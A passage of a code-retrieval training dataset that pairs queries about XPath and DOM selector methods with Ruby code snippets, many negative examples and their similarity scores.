XPath::first(@@doc, \"a/e/f[3]\").attributes[\"id\"]\n assert_equal \"13\", XPath::first(@@doc, \"a/e/f[3]/g\").attributes[\"id\"]\n assert_equal \"14\", XPath::first(@@doc, \"a/e/f[@a='d'][2]\").attributes[\"id\"]\n assert_equal \"14\", XPath::first(@@doc, \"a/e/f[@a='d'][@id='14']\").attributes[\"id\"]\n assert_equal \"a\", XPath::first( @@doc, \"*[name()='a' and @id='1']\" ).name\n c=each_test( @@doc, \"//*[name()='f' and @a='d']\") { |i|\n assert_equal \"f\", i.name\n }\n assert_equal 2, c\n c=each_test( @@doc, \"//*[name()='m' or @a='d']\") { |i|\n assert [\"m\",\"f\"].include?(i.name)\n }\n assert_equal 3, c\n\n assert_equal \"b\", XPath::first( @@doc, \"//b[@x]\" ).name\n end", "def evaluate_predicate(predicate_expression, actual_result, position, max_position)\n predicate = predicate_expression.value\n case predicate.type\n ######################\n # Comparison handling\n ######################\n when 'ComparisonExpr'\n values1 = get_predicate_values(predicate.value1,\n actual_result,\n position, max_position)\n operator = predicate.operator\n values2 = get_predicate_values(predicate.value2,\n actual_result,\n position,\n max_position)\n # value1 and value2 are always arrays\n # even with only one participant\n return Comparison.evaluate(values1, operator, values2)\n\n ######################\n # Element or Attribute exists handling\n ######################\n when 'AbbrevForwardStep'\n if predicate.value_type == :ELEMENT\n res = @path_processor.get_children_elements(actual_result, predicate.value_name)\n return false if res.empty?\n\n elsif predicate.value_type == :ATTRIBUTE\n if !@path_processor.get_attribute(actual_result, predicate.value_name)\n return false\n end\n else\n fail StandardError, 'impossible'\n end\n return true\n\n ######################\n # Single function handling\n ######################\n when 'FunctionCall'\n if predicate.function_name == 'last' && predicate.function_params.empty?\n return position == max_position\n elsif predicate.function_name == 'position' && predicate.function_params.empty?\n return true\n else\n fail StandardError, 'not implemented'\n end\n\n ######################\n # Integer handling\n ######################\n when 'IntegerLiteral'\n return predicate.text.to_i == position\n end\n end", "def accept(evaluator)\n evaluator.exprs(self)\n end", "def find(xpath)\n\t\t\t@document.xpath(xpath)\n\t\tend", "def evaluate(*args, &block)\n self.class.evaluate(self, *args, &block)\n self\n end", "def value_of(xpath)\n found_elem = @document.at(value_of_prefix + xpath)\n return nil unless found_elem\n found_elem.inner_html\n end", "def expr()\n #This is a stub, used for indexing\n end", "def evaluate(mode = [:nodes])\n case @type\n when :comparison\n left = @children[0].evaluate(mode)\n right = @children[1].evaluate(mode)\n if mode.last == :subquery\n left = left[0] if left.length == 1\n comparison(left, right)\n elsif mode.last == :resources\n if left[0] == 'tag'\n comparison(left[0], right)\n else\n comparison(['parameter', left[0]], right)\n end\n else\n subquery(mode.last,\n :fact_contents,\n ['and', left, comparison('value', right)])\n end\n when :boolean\n value\n when :string\n value\n when :number\n value\n when :date\n require 'chronic'\n ret = Chronic.parse(value, :guess => false).first.utc.iso8601\n fail \"Failed to parse datetime: #{value}\" if ret.nil?\n ret\n when :booleanop\n [value.to_s, *evaluate_children(mode)]\n when :subquery\n mode.push :subquery\n ret = subquery(mode[-2], value + 's', children[0].evaluate(mode))\n mode.pop\n ret\n when :regexp_node_match\n mode.push :regexp\n ret = ['~', 'certname', Regexp.escape(value.evaluate(mode))]\n mode.pop\n ret\n when :identifier_path\n if mode.last == :subquery || mode.last == :resources\n evaluate_children(mode)\n elsif mode.last == :regexp\n evaluate_children(mode).join '.'\n else\n # Check if any of the children are of regexp type\n # in that case we need to escape the others and use the ~> operator\n if children.any? { |c| c.type == :regexp_identifier }\n mode.push :regexp\n ret = ['~>', 'path', evaluate_children(mode)]\n mode.pop\n ret\n else\n ['=', 'path', evaluate_children(mode)]\n end\n end\n when :regexp_identifier\n value\n when :identifier\n mode.last == :regexp ? Regexp.escape(value) : value\n when :resource\n mode.push :resources\n regexp = value[:title].type == :regexp_identifier\n if !regexp && value[:type].capitalize == 'Class'\n title = capitalize_class(value[:title].evaluate)\n else\n title = value[:title].evaluate\n end\n ret = subquery(mode[-2], :resources,\n ['and',\n ['=', 'type', capitalize_class(value[:type])],\n [regexp ? '~' : '=', 'title', title],\n ['=', 'exported', value[:exported]],\n *evaluate_children(mode)])\n mode.pop\n ret\n end\n end", "def xpath_for selector, options={}\r\n Parser.new(options[:ns] || {}).xpath_for selector, options\r\n end", "def evaluate\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n\n\n value = nil\n\n\n a = nil\n\n\n begin\n # at line 7:26: a= expression EOF\n @state.following.push( TOKENS_FOLLOWING_expression_IN_evaluate_28 )\n a = expression\n @state.following.pop\n match( EOF, TOKENS_FOLLOWING_EOF_IN_evaluate_30 )\n\n # --> action\n value = a \n # <-- action\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n\n end\n\n return value\n end", "def eval_context(context, node); end", "def expression; end", "def each(xpath_str,&block)\n if NOKOGIRI\n @xml.xpath(xpath_str).each { |pelem|\n block.call XMLElement.new(pelem)\n }\n else\n @xml.elements.each(xpath_str) { |pelem|\n block.call XMLElement.new(pelem)\n }\n end\n end", "def main\n if (argnum = $*.size) != 2\n errmsg = 'wrong number of arguments'\\\n \"(given #{argnum}, expected 2).\"\n raise ArgumentError, errmsg\n return 1\n end\n x = XPathToSQL.new(*$*)\n conv_sql = x.xpath_to_sql\n res_ids = x.lookup(conv_sql[:sql], conv_sql[:labels])\n res_ids.each{\n puts \"=== #{_1} ===\"\n x.printexe(_1)\n }\n return 0\nend", "def xpath\n options[:xpath] || xpath_by_tag_type\n end", "def at(xpath)\n @doc.at(xpath)\n end", "def query_selector_all(expr)\n Traverser.new(expr).evaluate(Context.new(node: self))\n end", "def xpath(pdoc, path, namespace = '')\n el = xpath_first(pdoc, path, namespace)\n return unless el\n return el.content\n end", "def each_node\n return to_enum(__method__) unless block_given?\n\n doc.xpath(query).each do |node|\n yield node\n end\n end", "def subexpression()\n node = nil\n\n if current(:operator_less_than) || current(:operator_less_than_equal) ||\n current(:operator_greater_than) || current(:operator_greater_than_equal)\n\n node = operator()\n node.child = browser()\n elsif current(:boolean_true) || current(:boolean_false)\n node = boolean()\n else\n #No comparison operator is assuming equals\n node = Nodes::Equal.new()\n node.child = browser()\n end\n\n node\n end", "def expr(path_stack, nodeset, context = T.unsafe(nil)); end", "def parse_expression(expr); end", "def xpath_for(string, prefix, visitor)\n key = cache_key(string, prefix, visitor)\n self.class[key] ||= parse(string).map do |ast|\n ast.to_xpath(prefix, visitor)\n end\n end", "def element_match(tree, exp, bindings); end", "def detect_xpath(selector)\n selector.gsub(/^\\./,'')[0] == '/' ? [:xpath, selector] : selector\n end", "def generate_xpath_queries!\n # do nothing\n end", "def evaluate\n @view.evaluate if @view\n end", "def evaluates(&block)\n @predicate << Rule.new(self, block)\n self\n end", "def eval\n @token = @lexer.next\n expression(0)\n end", "def elements_by_xpath(value)\n find_by_xpath(value)\n end", "def xpath_search\n return unless grafana_url.present?\n\n %(descendant-or-self::a[starts-with(@href, '#{grafana_url}')])\n end", "def UnaryExpr(path, parsed); end", "def method_missing(meth, *args, &block) # :nodoc:\n xpath = _xpath_for_element(meth.to_s, args.shift)\n return nil if xpath.empty?\n\n if block_given?\n xpath.each_with_index do |node, idx|\n @nodes.push(node)\n case block.arity\n when 1\n yield idx\n when 2\n yield self.class.new(node, @namespaces, false), idx\n else\n yield\n end\n @nodes.pop\n end\n self\n else\n node = xpath.first\n\n if node.xpath('text()').length == 1\n content = node.xpath('text()').first.content\n case meth.to_s\n when /\\?$/\n !! Regexp.new(/(t(rue)?|y(es)?|1)/i).match(content)\n else\n content\n end\n else\n self.class.new(node, @namespaces, false)\n end\n end\n end", "def PathExpr(path, parsed); end", "def FilterExpr(path, parsed); end", "def search(path)\n self.find_by_xpath(path)\n end", "def eval(context)\n # The last value evaluated in a method is the return value.\n @nodes.map { |node| node.eval(context) }.last\n end", "def evaluate(parsed_tree)\n left_child = parsed_tree.left_child\n right_child = parsed_tree.right_child\n\n if left_child && right_child\n return evaluate(left_child).send(parsed_tree.get_root_value, evaluate(right_child))\n else\n return parsed_tree.get_root_value\n end\nend", "def expression\n node_parts.last\n end", "def eval_expression\n @evaluated_expression =\n ConlangWordGenerator::run_expression(@full_expression, @bindings)\n end", "def find(xpath, nslist = nil)\n if not self.doc\n raise(TypeError, \"A node must belong to a document before \" +\n \"it can be searched with XPath.\")\n end\n \n context = XPath::Context.new(self)\n context.node = self \n context.register_namespaces_from_node(self)\n context.register_namespaces_from_node(self.doc.root)\n context.register_namespaces(nslist) if nslist\n\n context.find(xpath)\n end", "def xpath_query_for(node_name, options={})\n xpath_query = \"#{options[:is_child] ? '/' : '//'}#{node_name}\"\n extras = []\n extras += [%Q{.=\"#{options[:content]}\"}] if options[:content]\n\n extras += options[:attributes].map do |k,v|\n %Q{@#{k}=\"#{v}\"}\n end if options[:attributes]\n\n xpath_query << \"[#{extras.join(' and ')}]\" unless extras.empty?\n\n if options[:child]\n child = options.delete(:child)\n child_options = {\n :is_child => true,\n :attributes => child[:attributes],\n :content => child[:content],\n :child => child[:child]\n }\n return xpath_query << \"#{xpath_query_for(child[:node_name], child_options)}\"\n else\n xpath_query\n end\nend", "def on_path(ast_node, context)\n nodes = XML::NodeSet.new\n\n ast_node.children.each do |test|\n nodes = process(test, context)\n\n if nodes.empty?\n break\n else\n context = nodes\n end\n end\n\n return nodes\n end", "def evaluate_node(node)\n value_stack.add_stack\n\n iterate(node)\n\n return value_stack.pop.first\n end", "def get_element_by_xpath(xpath)\n\t\t# restituisco l'elemento corrispondente - nota: a priori un xpath non è univoco, per questo\n\t\t# in realtà blocco[] è un array di risultati\n\t\t@doc.xpath(xpath)\n\tend", "def perform(attribute)\n ScraperExpression.where(key: attribute).find_each do |record|\n base = safe_call do\n @html_doc.instance_eval(record.expression)\n end\n\n return base if base.present?\n end\n\n nil\n end", "def each_element (xpath=\"*\", &block)\n self.find_match(xpath).each{ |n| yield n }\n end", "def evaluate_expression vector\n\t\t\t\traise NotImplementedError\n\t\t\tend", "def evaluate(parse_tree_node, &block)\n if block\n yield parse_tree_node, self\n elsif parse_tree_node.respond_to? :evaluate\n puts_result parse_tree_node.evaluate\n else\n pretty_print_parse_tree parse_tree_node\n end\n rescue Exception => e\n errputs \"Error evaluating parse tree: #{e}\\n\" + [\"Backtrace:\",e.backtrace].flatten.join(\"\\n \")\n pretty_print_parse_tree parse_tree_node\n end", "def find_matches method_name\n matches = xpath method_name.as_xpath \n matches.any? ? matches : nil\n end", "def on_call_sum(context, expression)\n nodes = process(expression, context)\n sum = 0.0\n\n unless nodes.is_a?(XML::NodeSet)\n raise TypeError, 'sum() can only operate on NodeSet instances'\n end\n\n nodes.each do |node|\n sum += node.text.to_f\n end\n\n return sum\n end" ]
[ "0.7276239", "0.7276239", "0.71157575", "0.71157575", "0.6934695", "0.6934695", "0.66685826", "0.6616184", "0.6581248", "0.64662045", "0.6379013", "0.635437", "0.6266348", "0.6164858", "0.61581963", "0.61435694", "0.60825723", "0.60510975", "0.6043136", "0.6040138", "0.5986461", "0.5972446", "0.59555036", "0.5954745", "0.5944942", "0.593923", "0.5917518", "0.5912667", "0.58735615", "0.58602875", "0.58572537", "0.584079", "0.57869464", "0.57774454", "0.5775038", "0.57685006", "0.57629675", "0.57567614", "0.57537395", "0.57393277", "0.56842166", "0.5642214", "0.56244475", "0.56110114", "0.5607507", "0.56013596", "0.5593711", "0.558481", "0.55766475", "0.5566891", "0.5524456", "0.5524274", "0.5512319", "0.5505071", "0.5502918", "0.55018866", "0.5500659", "0.54847103", "0.54719037", "0.54683805", "0.5427871", "0.5421403", "0.5405589", "0.5394065", "0.5368332", "0.53607106", "0.5355801", "0.5346112", "0.5339732", "0.5330675", "0.5330378", "0.5312003", "0.5303455", "0.530232", "0.52989316", "0.52964896", "0.5289626", "0.5272128", "0.5260178", "0.52557987", "0.52443576", "0.52382183", "0.5224794", "0.52172077", "0.52164316", "0.52142316", "0.5200473", "0.51947504", "0.51902753", "0.518272", "0.5182318", "0.5179362", "0.5179004", "0.5150293", "0.51463145", "0.5142474", "0.51352745", "0.51217914", "0.5121489", "0.51209044" ]
0.7369241
0
The method runs document.querySelectorAll within the frame. If no elements match the selector, the return value resolves to [].
def query_selector_all(selector) document.query_selector_all selector end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_all(selector)\n DOM::NodeList.new `Array.prototype.slice.call(#{@el}.querySelectorAll(#{selector}))`\n end", "def findAll(selector)\n DOM::NodeList.new `Array.prototype.slice.call(#{@el}.querySelectorAll(#{selector}))`\n end", "def query_selector_all(node_id:, selector:)\n {\n method: \"DOM.querySelectorAll\",\n params: { nodeId: node_id, selector: selector }.compact\n }\n end", "def elements(selector)\n @doc.search(selector)\n end", "def elements\n if @frame.nil?\n $driver.switch_to.default_content\n else\n $driver.switch_to.frame(@frame.element)\n end\n for locator in @locators\n by, value = locator.first\n if not @root == nil and @root.instance_variable_defined?(\"@locators\") and not @root.locators.nil?\n if $highlight\n @root.highlight(-1,\"green\")\n end\n @elements = @root.find_elements(by,value,self.name)\n else\n @elements = $driver.find_elements(by,value,self.name)\n end\n if @elements.count > 0\n @elements = filter_elements(@elements)\n end\n if @elements.count > 0\n @element = @elements.first\n return @elements\n end\n end\n @element = @elements.first\n @elements\n end", "def query_selector_all(expr)\n Traverser.new(expr).evaluate(Context.new(node: self))\n end", "def SS(selector)\n handles = evaluate_handle(\n '(element, selector) => element.querySelectorAll(selector)',\n selector,\n )\n properties = handles.properties\n handles.dispose\n properties.values.map(&:as_element).compact\n end", "def css(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n within ||= document\n return Array.from(within.querySelectorAll(selector));\n }\n JS\n\n evaluate_func(expr, selector, within)\n end", "def find(selector)\n nodes = current_frame.getByXPath(selector).map { |node| Node.new(node) }\n @nodes << nodes\n nodes\n end", "def query_body_nodes\n body_node = query_body_node\n query_body_node && query_body_node.elements\n end", "def selectors\n @selectors ||= []\n end", "def elements\n find_by_tag('*')\n end", "def select_all\n self.frame(:id=>\"elm1_ifr\").send_keys( [:command, 'a'] )\n end", "def selectElements\n ([expression] + elements).compact if select\n end", "def selections\n selector.send(selector_method) rescue nil\n end", "def get_frames\n return driver.find_elements(:css, 'internal-frame')\nend", "def select_all\n # FIXME\n driver.operaAction('Select all')\n end", "def capybara_elements\n context.capybara_context.all(\"iframe[src='#{site_value}']\")\n end", "def list_dom_loaded\n ar = []\n nodes.reject(&:invisible?).each do |node|\n ar += node.list_dom_loaded if node.respond_to?(:dom_loaded?) && node.dom_loaded?\n end\n ar\n end", "def query_selector(selector)\n document.query_selector selector\n end", "def selectors\n self.class.selectors\n end", "def all\n self.class.instance_methods(false).each do |method|\n next if %i`all dom`.include? method\n send(method)\n end\n end", "def get_all_contents_of_select_list_inside_frame(browser_handle, frame_prop, frame_prop_val, select_list_prop, select_list_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).select_list(select_list_prop.intern, /#{select_list_prop_val}/).getAllContents\nend", "def search(*selectors)\n NodeSet.new selectors.map {|selector|\n xpath(selector).to_a.concat(css(selector).to_a)\n }.flatten.uniq\n end", "def get_elements_temp_ios_fix\n selector_params = self.get_selector_params(self.configuration)\n #Get rid of any shit at the end, //blah/element[1] becomes //blah/element only for numeric indexes, going to add a numeric index\n\n elements_array = Array.new\n\n index = 1\n find_element_failure = false\n until find_element_failure\n selector_params[:selector] = selector_params[:selector].gsub(/\\[\\d+\\]$/, '')\n selector_params[:selector] = selector_params[:selector] + \"[#{index}]\"\n\n begin\n if self.driver_object.exists?(selector_params[:selector_method], selector_params[:selector])\n elements_array.push(self.driver_object.find_element(selector_params[:selector_method], selector_params[:selector]))\n else\n find_element_failure = true\n break\n end\n rescue\n find_element_failure = true\n break\n end\n\n index += 1\n end\n\n return elements_array\n end", "def tags(selector)\n e = elements(selector)\n e.map {|x| x.inner_html}\n end", "def xpath(selector, within: nil)\n expr = <<~JS\n function(selector, within) {\n let results = [];\n within ||= document\n\n let xpath = document.evaluate(selector, within, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\n for (let i = 0; i < xpath.snapshotLength; i++) {\n results.push(xpath.snapshotItem(i));\n }\n\n return results;\n }\n JS\n\n evaluate_func(expr, selector, within)\n end", "def select_all\n buffer_current.select_all\n end", "def find_elements(*args)\n how, what = extract_args(args)\n by = _set_by_from_finders(how)\n begin\n bridge.find_elements_by by, what.to_s, ref\n rescue Selenium::WebDriver::Error::TimeoutError\n []\n end\n end", "def tags(selector)\n\t\te = elements(selector)\n\t\te.map {|x| x.inner_html}\n\tend", "def css css_selector\n @scene.get_root.lookup_all(css_selector).map {|e| e}\n end", "def get_elements(xpath); end", "def have_all_of_selectors(...)\n Matchers::HaveAllSelectors.new(...)\n end", "def find_all(*args)\n element.all(*args)\n end", "def dump_components()\n return driver.find_elements(:css, '*')\nend", "def dump_components()\n return driver.find_elements(:css, '*')\nend", "def fetch_nodes_between head_selector, tail_selector\n Rake::Task[:@man_html_dom].invoke\n\n head = @man_html_dom.at(head_selector) or raise head_selector\n body = []\n\n tail = head\n body << tail while\n tail = tail.next_sibling and\n not tail.matches? tail_selector\n\n [head, body, tail]\nend", "def [] selector\n query selector\n end", "def all *args\n\t\t\tCapybara::Session.instance_method(:all).bind(self).call *args\n\t\tend", "def node_children(node)\n children = @navigator.call(node)\n return Array::EMPTY_ARRAY if children.nil?\n Enumerable === children ? children.to_a.compact : [children]\n end", "def search_for_selectors(search, expectedCount)\n # get all links for current page\n links = get_position_links\n # count used to put all information for 1 position in 1 array\n count = 1\n # link_index used to add the appropriate links to array\n link_index= 0\n # Sub array that will hold the information of 1 position\n job_content = []\n # Super array that holds information of all positions\n job_array = []\n @page.search(search).each do |selector|\n job_content << selector.text.strip\n if count % expectedCount == 0\n job_content << links[link_index]\n link_index += 1\n job_array << job_content\n job_content = []\n end\n count += 1\n end\n # Return super array\n job_array\n end", "def SSeval(selector, page_function, *args)\n handles = evaluate_handle(\n '(element, selector) => Array.from(element.querySelectorAll(selector))',\n selector,\n )\n result = handles.evaluate(page_function, *args)\n handles.dispose\n\n result\n end", "def select(*a)\n page.select selector_for(*a)\n end", "def get_content_array(xpath_query)\n scraped_array = Array.new\n pos = 0\n @current_page.search(xpath_query).each do |var|\n scraped_array[pos] = var.content.strip\n pos += 1\n end\n scraped_array\n end", "def find_elements(*args)\r\n how, what = extract_args(args)\r\n\r\n if how == :jquery && ref.nil?\r\n bridge.executeScript(\"return jQuery(arguments[0]).get();\", what)\r\n elsif how == :jquery && !ref.nil?\r\n bridge.executeScript(\"return jQuery(arguments[0]).find(arguments[1]).get();\",self, what)\r\n else\r\n unless by = FINDERS[how.to_sym]\r\n raise ArgumentError, \"cannot find elements by #{how.inspect}\"\r\n end\r\n\r\n bridge.find_elements_by by, what.to_s, ref\r\n end\r\n end", "def iframes\n @iframes ||=\n search('iframe').map { |node| Frame.new(node, @mech, self) }\n end", "def iframes\n @iframes ||=\n search('iframe').map { |node| Frame.new(node, @mech, self) }\n end", "def children\n elements = []\n\n %x{\n var children = #@native.children;\n for(var i = 0; i < children.length; i++) {\n elements[i] = #{Element.new(`children[i]`)};\n }\n }\n\n elements\n end", "def css(selector)\n raise NotImplementedError, 'query by CSS selector unsupported'\n end", "def apply( nodes )\n nodes = nodes.to_a\n results = nodes\n difference = nodes\n until difference.empty?\n step_results = @selector.apply( difference )\n difference = step_results - results\n results.concat( difference )\n end\n \n return results.reverse\n end", "def all_implementors_of(selector)\n self.all_classes_and_modules.select do |klass|\n klass.includes_selector?(selector)\n end\n end", "def index\n @scraping_html_elements = ScrapingHtmlElement.all\n end", "def getElementsByTagName(tagname)\n ret = NodeList.new\n @children.each do |node|\n if node.nodeType == ELEMENT_NODE\n if tagname == '*' || node.nodeName == tagname\n ret << node\n end\n ret << node.getElementsByTagName(tagname)\n end\n end if @children\n ret\n end", "def getElementsByTagName(tagname)\n ret = NodeList.new\n @children.each do |node|\n if node.nodeType == ELEMENT_NODE\n if tagname == '*' || node.nodeName == tagname\n ret << node\n end\n ret << node.getElementsByTagName(tagname)\n end\n end if @children\n ret\n end", "def all_nodes\n nodes = []\n visit_nodes do |node|\n nodes.push node\n end\n nodes\n end", "def xpath_all(pdoc, path, namespace = '')\n if namespace!=\"\"\n return REXML::XPath.match(pdoc, path, namespace)\n else\n return REXML::XPath.match(pdoc, path);\n end\n return []\n end", "def childNodes\n NodeList.new(\n native_node.children.map do |child|\n next if child.is_a? Nokogiri::XML::ProcessingInstruction\n Browser.wrap_node(child)\n end.compact\n )\n end", "def element_set\n return []\n end", "def query_selector(node_id:, selector:)\n {\n method: \"DOM.querySelector\",\n params: { nodeId: node_id, selector: selector }.compact\n }\n end", "def retrieve_elements(filter)\n elements_array = Array.new\n\n if NOKOGIRI\n @xml.xpath(filter.to_s).each { |pelem|\n elements_array << pelem.text if pelem.text\n }\n else\n @xml.elements.each(filter.to_s) { |pelem|\n elements_array << pelem.text if pelem.text\n }\n end\n\n if elements_array.size == 0\n return nil\n else\n return elements_array\n end\n\n end", "def elements(element_classes:)\n # This join is important to OR together all the xpaths in order to determine\n # the matched element's order inside the page. Xpath does this for us.\n match_all_elements = element_classes.map(&:matcher).join(' | ')\n\n working_element_index = []\n\n # Match on all the elements. Create Element objects with the matching xpath node.\n content_dom.xpath(match_all_elements).each do | xpath_element |\n element_class = element_classes.detect do | elem_class |\n elem_class.matches?(xpath_element)\n end\n\n element = element_class.new(node: xpath_element)\n working_element_index << element if element\n end\n\n working_element_index\n end", "def my_select(&prc)\n arr = []\n self.my_each { |el| arr << el if prc.call(el) }\n arr\n end", "def nodes\n strong_memoize(:nodes) do\n nodes = doc.xpath(XPATH)\n nodes.drop(EMBED_LIMIT).each(&:remove)\n\n nodes\n end\n end", "def css *args\n if children.any?\n children.css(*args)\n else\n NodeSet.new(document)\n end\n end", "def my_select\n\t\treturn_array = []\n\t\tself.my_each do |element|\n\t\t\tif yield(element) == true\n\t\t\t\treturn_array << element\n\t\t\tend\n\t\tend\n\t\treturn return_array\n\tend", "def find_elements(locator)\n driver.find_elements(locator)\n end", "def my_select(&prc)\n result_array = []\n self.my_each {|el| result_array << el if prc.call(el)}\n result_array\n end", "def execute\n @documents.select { |document| document.matches?(@selector) }\n end", "def elements\r\n return @elements if @elements\r\n @elements = []\r\n @root_elements.each do |e|\r\n @elements << e\r\n @elements.concat(e.eAllContents)\r\n end\r\n @elements\r\n end", "def select_all\n clone(:select => nil)\n end", "def elements\n return @elements\n end", "def all_classes_implementing(selector)\n self.all_classes.select { |klass| klass.includes_selector?(selector) }\n end", "def body\n evaluate(\"document.documentElement.outerHTML\")\n end", "def xpath_all(pdoc, path, namespace = '')\n begin\n if namespace != \"\"\n return pdoc.find(path, namespace) if pdoc.find(path, namespace)\n else\n return pdoc.find(path) if pdoc.find(path)\n end\n rescue\n return []\n end\n end", "def select_all\n\t\treturn self.clone( :select => [] )\n\tend", "def extract_all(selector, options={}, &block)\n if results = search(selector)\n results.map do |result|\n process(result, options, &block)\n end\n end\n end", "def find(selector)\n nodes = @_node.getByXPath(selector).map { |node| Node.new(node) }\n @nodes << nodes\n nodes\n end", "def set\n @elems = [@cobj.search(\"//input\").map,@cobj.search(\"//select\").map].flatten\n end", "def elements(name, selector, type = nil)\n if selector.respond_to?(:__deserialise_all, true)\n @__selectors << Selector::NestedMultiple.new(name, selector, type)\n\n elsif type.respond_to?(:__deserialise_all, true)\n cloned_type = type.clone\n cloned_type.instance_variable_set(:@__root, selector)\n @__selectors << Selector::NestedMultiple.new(name, cloned_type)\n\n else\n @__selectors << Selector::Nodes.new(name, selector, type)\n end\n end", "def elements_with_all_tags(tags)\n return InfoNode.elements_with_all_tags(session['domain'],tags)\n end", "def elements(css_query, output = process_output)\n Hpricot::Elements[*css_query.to_s.split(\",\").map{|s| s.strip}.map do |query|\n output[query]\n end.flatten]\n end", "def select_list_elements(identifier)\n platform.select_lists_for(identifier.clone)\n end", "def get_source_selectors\n case @source\n when \"Asahi Shimbun\"\n [\"div.body p\"]\n when \"BBC\"\n [\"div.story-body p\", \"div.map-body p\"]\n when \"CNN\"\n [\"section#body-text p\"]\n when \"Chosun Ilbo\"\n [\"div.article p\"]\n when \"New York Times\"\n [\"p.story-content\", \"p.story-body-text\"]\n when \"Nippon.com\"\n [\"div#detail_contents\"]\n when \"The Economist\"\n ['div[itemprop=\"articleBody\"] p']\n when \"The Guardian\"\n ['div[itemprop=\"articleBody\"] p', 'div.flexible-content-body p']\n when \"The Japan Times\"\n ['div#jtarticle p']\n when \"The Japan Daily Press\"\n [\"div.post p\"]\n when \"Japan Today\"\n ['div#article_content p']\n when \"South China Morning Post\"\n ['[property=\"content:encoded\"] p']\n when \"Tokyo Reporter\"\n [\"div.entry-content p\"]\n when \"WSJ\"\n [\"div.articleBody p\", \"article.articleBody p\"]\n else\n []\n end\n end", "def all_nodes\n [self] + descendants\n end", "def frames\n @frames ||=\n search('frame').map { |node| Frame.new(node, @mech, self) }\n end", "def frames\n @frames ||=\n search('frame').map { |node| Frame.new(node, @mech, self) }\n end", "def html_elements(*elements)\n elements.any? ? @html_elements = elements : get_inherited_attribute(\"@html_elements\")\n end", "def do_select_all\n return nil unless @data.size > 0\n select_range(0..@data.size-1)\n refresh\n end", "def my_select(&prc)\n\t\tnew_array = []\n\n\t\tself.my_each do |ele|\n\t\t\tnew_array << ele if prc.call(ele)\t\t\t\t\n\t\tend\n\n\t\tnew_array\n\tend", "def find(selector)\n DOM::Element.from_node `#{@el}.querySelector(#{selector}) || Opal.nil`\n end", "def select_all; end", "def iframes_resources\n return [] unless @include_iframes\n\n resources = []\n\n page.all(:css, 'iframe').each do |iframe_element|\n iframe_url = iframe_element[:src]\n root_page_host = page.current_host\n begin\n page.within_frame(iframe_element) do\n next unless page.current_host == root_page_host\n path = URI.parse(iframe_url).path\n content = page.html\n sha = Digest::SHA256.hexdigest(content)\n resources <<\n Percy::Client::Resource.new(\n path,\n content: content,\n sha: sha,\n mimetype: 'text/html',\n )\n end\n rescue StandardError => e\n # Skip frame not found errors. This library doesn't explicitly depend on Poltergeist,\n # so we check the string class name.\n raise e unless e.class.to_s == 'Capybara::Poltergeist::FrameNotFound' ||\n e.class.to_s == 'Capybara::Poltergeist::TimeoutError'\n end\n end\n\n resources\n rescue ::Capybara::NotSupportedByDriverError\n []\n end", "def extract_all_nodes(xpath, node = xml, namespaces = DEFAULT_NAMESPACES)\n _extract_nodes(:match, xpath, node, namespaces)\n end", "def select\n out = []\n\n each { |e| out << e if yield(e) }\n\n out\n end", "def iframes\n @iframes ||= context\n .public_methods\n .grep(/\\A(?!wait_)\\w+_iframe$\\z/)\n .map { |el| Meta::Iframe.new(el.to_s.gsub('_iframe', ''), context) }\n end", "def all_tag_elements\n applied_tag_elements + @tag_elements\n end", "def html_nodes\n document = Nokogiri::HTML(@file.content)\n document.css(@config['record_css_selector'])\n end", "def all\n match(nil)\n end", "def elements_by_xpath(xpath)\r\n element = Element.new(nil, self)\r\n elem_names = element.elements_by_xpath(self, xpath)\r\n a = elem_names.inject([]) {|elements,name| elements << element_factory(name)}\r\n end", "def grab_elements(content_array, filter)\n content_array.grep(Regexp.new filter)\n end" ]
[ "0.74725795", "0.7255658", "0.6986995", "0.64311063", "0.6394186", "0.6207973", "0.618712", "0.6004348", "0.58796173", "0.58427256", "0.58425415", "0.5754153", "0.56960666", "0.5677586", "0.56144214", "0.5559332", "0.55009055", "0.54397327", "0.54327863", "0.5429639", "0.5377659", "0.53682387", "0.535045", "0.52644134", "0.52331746", "0.519277", "0.519092", "0.5175853", "0.5156403", "0.51391906", "0.5124632", "0.5095655", "0.5090931", "0.50858283", "0.5079321", "0.5053906", "0.50392187", "0.49504027", "0.49450684", "0.4942709", "0.49397048", "0.4918023", "0.4894072", "0.48921433", "0.48906887", "0.48628128", "0.48628128", "0.48559612", "0.484629", "0.48209572", "0.48119813", "0.48045525", "0.48022276", "0.48022276", "0.4791719", "0.47875184", "0.47861594", "0.4771526", "0.4763444", "0.47606227", "0.47568595", "0.47502983", "0.47487593", "0.4738509", "0.47379354", "0.47258395", "0.4723305", "0.47227448", "0.47109017", "0.4699206", "0.46957144", "0.468811", "0.4685753", "0.46789855", "0.4670831", "0.46634132", "0.46502084", "0.46496445", "0.46302924", "0.4613041", "0.45786652", "0.4574551", "0.4562874", "0.4558198", "0.4541423", "0.4541423", "0.4537825", "0.4532653", "0.45304528", "0.45283955", "0.4525772", "0.45168868", "0.45131758", "0.45104322", "0.45003673", "0.44985625", "0.44983712", "0.44926274", "0.44847646", "0.44812912" ]
0.7261152
1
Gets the full HTML contents of the frame, including the doctype.
def content function = <<~JAVASCRIPT () => { let retVal = ''; if (document.doctype) retVal = new XMLSerializer().serializeToString(document.doctype); if (document.documentElement) retVal += document.documentElement.outerHTML; return retVal; } JAVASCRIPT evaluate_function(function).value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
